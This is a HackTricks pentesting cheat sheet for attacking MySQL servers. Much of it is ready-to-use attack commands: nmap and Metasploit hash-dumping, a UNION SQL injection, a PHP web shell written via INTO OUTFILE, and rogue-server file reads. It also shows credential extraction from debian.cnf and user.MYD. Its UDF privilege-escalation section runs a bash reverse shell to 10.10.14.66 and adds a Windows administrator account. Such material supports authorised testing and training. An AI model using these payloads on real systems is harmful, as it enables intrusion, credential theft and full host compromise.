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Network Services Pentesting
3306 - Pentesting Mysql
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Basic Information

MySQL is a freely available open source Relational Database Management System (RDBMS) that uses Structured Query Language (SQL). From here.
Default port: 3306
3306/tcp open mysql

Connect

Local

mysql -u root # Connect to root without password
mysql -u root -p # A password will be asked (check someone)

Remote

mysql -h <Hostname> -u root
mysql -h <Hostname> -u [email protected]

External Enumeration

Some of the enumeration actions require valid credentials
nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
msf> use auxiliary/scanner/mysql/mysql_version
msf> use auxiliary/scanner/mysql/mysql_authbypass_hashdump
msf> use auxiliary/scanner/mysql/mysql_hashdump #Creds
msf> use auxiliary/admin/mysql/mysql_enum #Creds
msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds
msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds

โ€‹Brute forceโ€‹

Write any binary data

CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
CONVERT(from_base64("aG9sYWFhCg=="), BINARY)

MySQL commands

show databases;
use <database>;
show tables;
describe <table_name>;
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select grantee, table_schema, privilege_type FROM schema_privileges; #Exact privileges
select user,file_priv from mysql.user where user='root'; #File privileges
select version(); #version
select @@version(); #version
select user(); #User
select database(); #database name
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#Get a shell with the mysql client user
\! sh
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#Basic MySQLi
Union Select 1,2,3,4,group_concat(0x7c,table_name,0x7C) from information_schema.tables
Union Select 1,2,3,4,column_name from information_schema.columns where table_name="<TABLE NAME>"
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#Read & Write
select load_file('/var/lib/mysql-files/key.txt'); #Read file
select 1,2,"<?php echo shell_exec($_GET['c']);?>",4 into OUTFILE 'C:/xampp/htdocs/back.php'
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#Try to change MySQL root password
UPDATE mysql.user SET Password=PASSWORD('MyNewPass') WHERE User='root';
UPDATE mysql.user SET authentication_string=PASSWORD('MyNewPass') WHERE User='root';
FLUSH PRIVILEGES;
quit;
mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
mysql -u root -h 127.0.0.1 -e 'show databases;'

MySQL arbitrary read file by client

Actually, when you try to load data local into a table the content of a file the MySQL or MariaDB server asks the client to read it and send the content. Then, if you can tamper a mysql client to connect to your own MyQSL server, you can read arbitrary files. Please notice that this is the behaviour using:
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
(Notice the "local" word) Because without the "local" you can get:
mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
โ€‹
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
Initial PoC: https://github.com/allyshka/Rogue-MySql-Server In this paper you can see a complete description of the attack and even how to extend it to RCE: https://paper.seebug.org/1113/ Here you can find an overview of the attack: http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/โ€‹

POST

Mysql User

It will be very interesting if mysql is running as root:
cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1

Privilege escalation

# Get current user (an all users) privileges and hashes
use mysql;
select user();
select user,password,create_priv,insert_priv,update_priv,alter_priv,delete_priv,drop_priv from user;
โ€‹
# Bash oneliner to get creds
mysql -u root --password=<PASSWORD> -e "SELECT * FROM mysql.user;"
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# Create user and give privileges
create user test identified by 'test';
grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mysql' WITH GRANT OPTION;
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# Get a shell (with your permissions, usefull for sudo/suid privesc)
\! sh

Privilege Escalation via library

If the mysql server is running as root (or a different more privileged user) you can make it execute commands. For that, you need to use user defined functions. And to create a user defined you will need a library for the OS that is running mysql.
The malicious library to use can be found inside sqlmap and inside metasploit by doing locate "*lib_mysqludf_sys*". The .so files are linux libraries and the .dll are the Windows ones, choose the one you need.
If you don't have those libraries, you can either look for them, or download this linux C code and compile it inside the linux vulnerable machine:
gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
Now that you have the library, login inside the Mysql as a privileged user (root?) and follow the next steps:

Linux

# Use a database
use mysql;
# Create a table to load the library and move it to the plugins dir
create table npn(line blob);
# Load the binary library inside the table
## You might need to change the path and file name
insert into npn values(load_file('/tmp/lib_mysqludf_sys.so'));
# Get the plugin_dir path
show variables like '%plugin%';
# Supposing the plugin dir was /usr/lib/x86_64-linux-gnu/mariadb19/plugin/
# dump in there the library
select * from npn into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysqludf_sys.so';
# Create a function to execute commands
create function sys_exec returns integer soname 'lib_mysqludf_sys.so';
# Execute commands
select sys_exec('id > /tmp/out.txt; chmod 777 /tmp/out.txt');
select sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"');

Windows

# CHech the linux comments for more indications
USE mysql;
CREATE TABLE npn(line blob);
INSERT INTO npn values(load_files('C://temp//lib_mysqludf_sys.dll'));
show variables like '%plugin%';
SELECT * FROM mysql.npn INTO DUMPFILE 'c://windows//system32//lib_mysqludf_sys_32.dll';
CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
SELECT sys_exec("net user npn npn12345678 /add");
SELECT sys_exec("net localgroup Administrators npn /add");

Extracting MySQL credentials from files

Inside /etc/mysql/debian.cnf you can find the plain-text password of the user debian-sys-maint
cat /etc/mysql/debian.cnf
You can use these credentials to login in the mysql database.
Inside the file: /var/lib/mysql/mysql/user.MYD you can find all the hashes of the MySQL users (the ones that you can extract from mysql.user inside the database).
You can extract them doing:
grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"

Enabling logging

You can enable logging of mysql queries inside /etc/mysql/my.cnf uncommenting the following lines:

Useful files

Configuration Files
  • windows *
    • config.ini
    • my.ini
      • windows\my.ini
      • winnt\my.ini
    • <InstDir>/mysql/data/
    • unix
      • my.cnf
        • /etc/my.cnf
        • /etc/mysql/my.cnf
        • /var/lib/mysql/my.cnf
        • ~/.my.cnf
        • /etc/my.cnf
  • Command History
    • ~/.mysql.history
  • Log Files
    • connections.log
    • update.log
    • common.log

Default MySQL Database/Tables

information_schema
mysql
performance_schema
sys
ALL_PLUGINS APPLICABLE_ROLES CHARACTER_SETS CHECK_CONSTRAINTS COLLATIONS COLLATION_CHARACTER_SET_APPLICABILITY COLUMNS COLUMN_PRIVILEGES ENABLED_ROLES ENGINES EVENTS FILES GLOBAL_STATUS GLOBAL_VARIABLES KEY_COLUMN_USAGE KEY_CACHES OPTIMIZER_TRACE PARAMETERS PARTITIONS PLUGINS PROCESSLIST PROFILING REFERENTIAL_CONSTRAINTS ROUTINES SCHEMATA SCHEMA_PRIVILEGES SESSION_STATUS SESSION_VARIABLES STATISTICS SYSTEM_VARIABLES TABLES TABLESPACES TABLE_CONSTRAINTS TABLE_PRIVILEGES TRIGGERS USER_PRIVILEGES VIEWS INNODB_LOCKS INNODB_TRX INNODB_SYS_DATAFILES INNODB_FT_CONFIG INNODB_SYS_VIRTUAL INNODB_CMP INNODB_FT_BEING_DELETED INNODB_CMP_RESET INNODB_CMP_PER_INDEX INNODB_CMPMEM_RESET INNODB_FT_DELETED INNODB_BUFFER_PAGE_LRU INNODB_LOCK_WAITS INNODB_TEMP_TABLE_INFO INNODB_SYS_INDEXES INNODB_SYS_TABLES INNODB_SYS_FIELDS INNODB_CMP_PER_INDEX_RESET INNODB_BUFFER_PAGE INNODB_FT_DEFAULT_STOPWORD INNODB_FT_INDEX_TABLE INNODB_FT_INDEX_CACHE INNODB_SYS_TABLESPACES INNODB_METRICS INNODB_SYS_FOREIGN_COLS INNODB_CMPMEM INNODB_BUFFER_POOL_STATS INNODB_SYS_COLUMNS INNODB_SYS_FOREIGN INNODB_SYS_TABLESTATS GEOMETRY_COLUMNS SPATIAL_REF_SYS CLIENT_STATISTICS INDEX_STATISTICS USER_STATISTICS INNODB_MUTEXES TABLE_STATISTICS INNODB_TABLESPACES_ENCRYPTION user_variables INNODB_TABLESPACES_SCRUBBING INNODB_SYS_SEMAPHORE_WAITS
columns_priv column_stats db engine_cost event func general_log gtid_executed gtid_slave_pos help_category help_keyword help_relation help_topic host index_stats innodb_index_stats innodb_table_stats ndb_binlog_index plugin proc procs_priv proxies_priv roles_mapping server_cost servers slave_master_info slave_relay_log_info slave_worker_info slow_log tables_priv table_stats time_zone time_zone_leap_second time_zone_name time_zone_transition time_zone_transition_type transaction_registry user
accounts cond_instances events_stages_current events_stages_history events_stages_history_long events_stages_summary_by_account_by_event_name events_stages_summary_by_host_by_event_name events_stages_summary_by_thread_by_event_name events_stages_summary_by_user_by_event_name events_stages_summary_global_by_event_name events_statements_current events_statements_history events_statements_history_long events_statements_summary_by_account_by_event_name events_statements_summary_by_digest events_statements_summary_by_host_by_event_name events_statements_summary_by_program events_statements_summary_by_thread_by_event_name events_statements_summary_by_user_by_event_name events_statements_summary_global_by_event_name events_transactions_current events_transactions_history events_transactions_history_long events_transactions_summary_by_account_by_event_name events_transactions_summary_by_host_by_event_name events_transactions_summary_by_thread_by_event_name events_transactions_summary_by_user_by_event_name events_transactions_summary_global_by_event_name events_waits_current events_waits_history events_waits_history_long events_waits_summary_by_account_by_event_name events_waits_summary_by_host_by_event_name events_waits_summary_by_instance events_waits_summary_by_thread_by_event_name events_waits_summary_by_user_by_event_name events_waits_summary_global_by_event_name file_instances file_summary_by_event_name file_summary_by_instance global_status global_variables host_cache hosts memory_summary_by_account_by_event_name memory_summary_by_host_by_event_name memory_summary_by_thread_by_event_name memory_summary_by_user_by_event_name memory_summary_global_by_event_name metadata_locks mutex_instances objects_summary_global_by_type performance_timers prepared_statements_instances replication_applier_configuration replication_applier_status replication_applier_status_by_coordinator replication_applier_status_by_worker replication_connection_configuration replication_connection_status replication_group_member_stats replication_group_members rwlock_instances session_account_connect_attrs session_connect_attrs session_status session_variables setup_actors setup_consumers setup_instruments setup_objects setup_timers socket_instances socket_summary_by_event_name socket_summary_by_instance status_by_account status_by_host status_by_thread status_by_user table_handles table_io_waits_summary_by_index_usage table_io_waits_summary_by_table table_lock_waits_summary_by_table threads user_variables_by_thread users variables_by_thread
host_summary host_summary_by_file_io host_summary_by_file_io_type host_summary_by_stages host_summary_by_statement_latency host_summary_by_statement_type innodb_buffer_stats_by_schema innodb_buffer_stats_by_table innodb_lock_waits io_by_thread_by_latency io_global_by_file_by_bytes io_global_by_file_by_latency io_global_by_wait_by_bytes io_global_by_wait_by_latency latest_file_io memory_by_host_by_current_bytes memory_by_thread_by_current_bytes memory_by_user_by_current_bytes memory_global_by_current_bytes memory_global_total metrics processlist ps_check_lost_instrumentation schema_auto_increment_columns schema_index_statistics schema_object_overview schema_redundant_indexes schema_table_lock_waits schema_table_statistics schema_table_statistics_with_buffer schema_tables_with_full_table_scans schema_unused_indexes session session_ssl_status statement_analysis statements_with_errors_or_warnings statements_with_full_table_scans statements_with_runtimes_in_95th_percentile statements_with_sorting statements_with_temp_tables sys_config user_summary user_summary_by_file_io user_summary_by_file_io_type user_summary_by_stages user_summary_by_statement_latency user_summary_by_statement_type version wait_classes_global_by_avg_latency wait_classes_global_by_latency waits_by_host_by_latency waits_by_user_by_latency waits_global_by_latency x$host_summary x$host_summary_by_file_io x$host_summary_by_file_io_type x$host_summary_by_stages x$host_summary_by_statement_latency x$host_summary_by_statement_type x$innodb_buffer_stats_by_schema x$innodb_buffer_stats_by_table x$innodb_lock_waits x$io_by_thread_by_latency x$io_global_by_file_by_bytes x$io_global_by_file_by_latency x$io_global_by_wait_by_bytes x$io_global_by_wait_by_latency x$latest_file_io x$memory_by_host_by_current_bytes x$memory_by_thread_by_current_bytes x$memory_by_user_by_current_bytes x$memory_global_by_current_bytes x$memory_global_total x$processlist x$ps_digest_95th_percentile_by_avg_us x$ps_digest_avg_latency_distribution x$ps_schema_table_statistics_io x$schema_flattened_keys x$schema_index_statistics x$schema_table_lock_waits x$schema_table_statistics x$schema_table_statistics_with_buffer x$schema_tables_with_full_table_scans x$session x$statement_analysis x$statements_with_errors_or_warnings x$statements_with_full_table_scans x$statements_with_runtimes_in_95th_percentile x$statements_with_sorting x$statements_with_temp_tables x$user_summary x$user_summary_by_file_io x$user_summary_by_file_io_type x$user_summary_by_stages x$user_summary_by_statement_latency x$user_summary_by_statement_type x$wait_classes_global_by_avg_latency x$wait_classes_global_by_latency x$waits_by_host_by_latency x$waits_by_user_by_latency x$waits_global_by_latency

HackTricks Automatic Commands

Protocol_Name: MySql #Protocol Abbreviation if there is one.
Port_Number: 3306 #Comma separated if there is more than one.
Protocol_Description: MySql #Protocol Abbreviation Spelled out
โ€‹
Entry_1:
Name: Notes
Description: Notes for MySql
Note: |
MySQL is a freely available open source Relational Database Management System (RDBMS) that uses Structured Query Language (SQL).
โ€‹
https://book.hacktricks.xyz/pentesting/pentesting-mysql
โ€‹
Entry_2:
Name: Nmap
Description: Nmap with MySql Scripts
Command: nmap --script=mysql-databases.nse,mysql-empty-password.nse,mysql-enum.nse,mysql-info.nse,mysql-variables.nse,mysql-vuln-cve2012-2122.nse {IP} -p 3306
โ€‹
Entry_3:
Name: MySql
Description: Attempt to connect to mysql server
Command: mysql -h {IP} -u {Username}@localhost
Entry_4:
Name: MySql consolesless mfs enumeration
Description: MySql enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
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On this page
Basic Information
Connect
Local
Remote
External Enumeration
Brute force
Write any binary data
MySQL commands
MySQL arbitrary read file by client
POST
Mysql User
Privilege escalation
Privilege Escalation via library
Extracting MySQL credentials from files
Enabling logging
Useful files
Default MySQL Database/Tables
HackTricks Automatic Commands